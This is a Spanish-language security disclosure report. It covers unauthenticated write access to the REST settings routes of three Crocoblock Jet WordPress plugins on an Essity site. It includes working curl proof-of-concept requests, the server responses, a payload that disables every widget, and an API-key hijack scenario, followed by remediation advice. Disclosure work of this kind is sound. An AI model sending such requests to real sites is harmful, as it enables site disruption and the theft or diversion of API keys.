Resumen
En un sitio WordPress del programa de Essity había instalados tres plugins de Crocoblock de la familia Jet. Cada uno registra una ruta REST para guardar su configuración, y ninguna de ellas comprobaba quién hacía la petición: ni cookie de sesión, ni nonce X-WP-Nonce, ni permisos del usuario. Cualquiera podía mandar un POST y los pares clave-valor enviados acababan escritos en la tabla wp_options de WordPress.
Las rutas afectadas eran:
POST /wp-json/jet-elements-api/v1/plugin-settings
POST /wp-json/jet-woo-builder-api/v1/plugin-settings
POST /wp-json/jet-woo-product-gallery-api/v1/plugin-settings
El fallo encaja en la debilidad "Missing Authorization" (falta de autorización). Los ajustes más interesantes para un atacante se deducían del propio JavaScript del panel de administración (jet-elements-admin.js), que envía la configuración a esa misma ruta con jQuery.ajax y sin cabecera X-WP-Nonce:
avaliable_widgets(así, con la errata del plugin): un objeto{widget_slug: "true"/"false"}que decide qué widgets de JetElements están activos en todo el sitio.api_key: la clave de Google Maps que usa el plugin.
El reporte se envió el 3 de julio de 2026 y se divulgó, ya resuelto, el 6 de julio de 2026.
Pasos de reproducción
- Comprobar que el endpoint procesa de verdad el cuerpo de la petición y no es una ruta vacía. Para ello se envía JSON mal formado, sin ninguna credencial:
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
-X POST \
-H "Content-Type: application/json" \
-d '{invalid json!!!'
El servidor responde con un 400 de error de análisis, lo que demuestra que lee y valida la entrada:
{"code":"rest_invalid_json","message":"Ha pasado un cuerpo JSON no válido.","data":{"status":400,"json_error_code":4,"json_error_message":"Syntax error"}}
- Enviar ahora datos válidos, de nuevo sin cookies, sin nonce y sin ningún tipo de autenticación:
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
-X POST \
-d "api_key=TEST_FROM_POC_12345"
La respuesta es un 200 que confirma el guardado:
{"status":"success","message":"Settings have been saved"}
- Repetir la prueba con los otros dos plugins para confirmar que comparten el mismo patrón:
# JetWooBuilder
curl -s "https://████████/wp-json/jet-woo-builder-api/v1/plugin-settings" \
-X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}
# JetWooProductGallery
curl -s "https://████████/wp-json/jet-woo-product-gallery-api/v1/plugin-settings" \
-X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}
- Para desactivar los widgets, un atacante enviaría al primer endpoint un cuerpo como este, poniendo a
falsecada widget:
avaliable_widgets[jet-animated-text]=false&avaliable_widgets[jet-slider]=false&...
Impacto
- Denegación de servicio visible: con todos los widgets de
avaliable_widgetsafalse, cualquier página que use JetElements (sliders, carruseles, contadores, etc.) deja de mostrarse correctamente en todo el sitio. - Secuestro de la clave de API: sustituir
api_keypor una clave de Google Maps controlada por el atacante desvía hacia ella la facturación del servicio y le permite recoger los datos de las consultas de geolocalización. El investigador menciona también las claves de Mailchimp, del tiempo y de Instagram como ajustes modificables. - Corrupción de la configuración: se pueden escribir pares clave-valor arbitrarios en las opciones de los plugins, lo que puede provocar errores o comportamientos inesperados.
Remediación
El investigador propuso:
- Actualizar todos los plugins Jet de Crocoblock a su última versión.
- Registrar las rutas REST con un
permission_callbackque exija la capacidadmanage_options. - Verificar el nonce mediante la cabecera
X-WP-Nonce.
El reporte figura como resuelto, pero no detalla cuál de estas medidas se aplicó.